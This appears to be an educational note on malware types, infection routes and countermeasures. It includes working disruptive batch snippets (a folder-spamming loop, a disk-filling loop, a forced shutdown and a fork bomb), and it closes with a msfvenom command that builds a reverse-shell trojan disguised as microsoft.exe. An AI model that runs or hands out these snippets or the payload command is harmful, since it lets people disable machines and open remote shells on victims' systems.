# Malware Threats

The term Malware is an Umbrella term that defines a wide variety of Potentially Harmful Software.
This malicious software is specially designed for Gaining Access to Target Machines, Stealing information and Harm the Target System.
Malware can be classified into various types including Viruses, Worms, Keyloggers, Spywares, Trojans, Ransomware and other malicious software.

## Different-Different Ways | How a Malware can Get into Your System

- Free Software
- Untrusted Sites
- File Sharing Services
- Removable Media
- Attachments
- Email Communication
- Not Using Firewall and Anti-Virus

## What Common Techniques Attackers Uses to Distribute Malware on the Web

Blackhat Search Engine Optimization (SEO) : Ranking malware pages highly in search results.
Malvertising : Embedding malware in ad-networks
Compromised Legitimate Websites : Hosting embedded malware that spreads to unsuspecting visitors.
Social Engineered Click-jacking : Tricking users into clicking on innocent-looking webpages.

## Purpose of Malware

- To Steal Sensitive data
- To Steal Password
- Banking Info

**- Revenge**
**- Spy**
**- Corrupt system/application**
**- Misuse System resources, Ram, CPU, Storage**
**- User key strokes monitor**
**- To encrypt sensitive data**
**- To delete sensitive data**
**- To hijack into computer**

**Types of Malware**

**Virus :**
**Viruses are the oldest form of the malicious program, It was first introduced in 1970.**

**Some Characteristic of virus are:**
**Infecting other files**
**Corruption**
**Encryption**

**Indications of virus attack :**
**1.Processes takes more time and resources**
**2.Computer beeps with no display**
**3.Drive label changes**
**4.Unable to load operating system**
**5.Computer slows down when programs start**
**6.Antivirus alert**
**7.Computer freezes frequently or encounters error**
**8.Files and folders are missing**
**9.Browser window freezes**

**Some examples of virus :**

**infinite folder -**

```
:loop
mkdir %random%
goto loop
```

**Space consuming Virus :**

```
:loop
mkdir hello
cd hello
echo "Enter any text according to the requirement">> file.txt
echo "We are testing">>file1.txt
goto loop
```

**Shutdown Virus:**

```
shutdown -s -t 10 -c "Hacked"
```

**fork bomb :**

```
%0|%0
```

**Worm :**

**Worm spread from computer to computer, but unlike a virus, it has the capability to travel without any help from a person. They have the ability to spread inside a network automatically.**

**Trojan :**

**Trojans are a type of virus that are designed to make a user think they are a safe program and run them.**

**How Hackers use Trojans**

**1. Delete or replace operating system's critical files.**

**2. Record screenshots, audio, and video of victim's PC.**

3. Use victim's PC for spamming and blasting email messages.
4. Download spyware, adware, and malicious files
5. Disable firewalls and antivirus.
6. Create backdoors to gain remote access.
7. Infect victim's PC as a proxy server for replaying attacks.

8. Use victim's PC as a botnet to perform DDoS attacks.
9. Steal information such as passwords, security codes, credit card information using keylogger.

Wrappers :
A wrapper binds a Trojan executable with an innocent looking .EXE application such as games or office applications.
The two programs are wrapped together into a single file.
When the user runs the wrapped EXE, it first installs the Trojan in the background and then runs the wrapping application in the foreground.

Crypters :
Crypter is a software which is used by hackers to hide viruses, keyloggers or tools in any kind of file so that they do not easily get detected by antiviruses.

Some Types of trojan
Defacement: Defacement is an attack in which bad attacker delete or modify the content on the site, replacing it with their own messages.
RAT (Remote Access Trojan): Remote Access trojan (RAT) allows the attacker to get remote desktop access to victim's computer by enabling port which allows the GUI access to the remote system. RAT includes a back door for maintaining administrative access and control over the victim Using RAT, an attacker can monitor user's activity, access confidential information, take screenshots and record audio and video using a webcam, format drives and alter files, etc.

**Command Shell Trojans : Command Shell Trojans are capable of providing remote control of Command Shell of a victim. Trojan Server of Command Shell Trojan such as Netcat is installed on the target machine. Trojan Server will open the port for command shell connection to its client application, installed on attacker's machine. This Client Server based Trojan Provide access to Command Line.**

**Botnet Trojans : A Botnet is the large scale of the compromised system. These compromised systems are not limited to a Specific LAN, They may be spread over**
**the large geographical area. These Botnets are controlled by Command and Control Centre. These botnets are used to launch attacks such as Daniel of Service.**

**Trojan Countermeasures**
**- Avoid to click on suspected Email Attachment**
**- Block unused ports**
**- Avoid Download from Untrusted sources**
**- Scan removable media before use**
**- Install Updated Security software and antivirus**

**Keyloggers**
**A keylogger records every keystroke you type on computer's keyboard. With this information, a attacker find out your username and password for a range of sites without even seeing what**
**comes up on the screen.**
**there are two types of keystrokes**
**1. hardware**
**2. software**

**Ransomware**
**Ransomware is a malware program which restricts the access to system files and folder by encrypting them.**

**-> some types of ransomware may lock the system as well.**
**->once the system is encrypted, it requires decryption key to unlock the system and files. Attacker demand a ransom payment in order to provide the decryption key to remove restriction.**
**-> they use digital currencies like Bitcoins. Which is difficult to trace.**
**-> one of the best examples of ransomware is WannaCry Ransomware attack.**

**Rootkit**
**A rootkit is a malicious software that allows an unauthorized user to have privileged access to a computer and to restricted areas of its software.**
**A rootkit may contain a number of malicious tools such as keyloggers, banking credential stealers, password stealers, antivirus disablers, and bots for DDoS attacks.**

**Adware**
**Adware, or advertising-supported malware, is a term used to describe unwanted software that displays advertisements on your device. An adware virus is**
**considered a PUP (potentially unwanted program), which means it's a program that is installed without express permission from the user.**

**How Antivirus Detect Malware**
**Antivirus software compares the signatures of the files on your system to the virus signatures in the signature database to see if any signatures match.**
**If they do, a virus has been detected. This method works well for detecting known malware.**

**To Check malware file: Like-  https://www.virustotal.com/gui/"virustotal**

**To Check malware is detectable or not Like -**
**https://nodistribute.com/"nodistribute**

**Tool - We can use Darkcomet or msfvenom for making a trojan.**

```
#msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.102 lport=1234 -f exe > microsoft.exe
```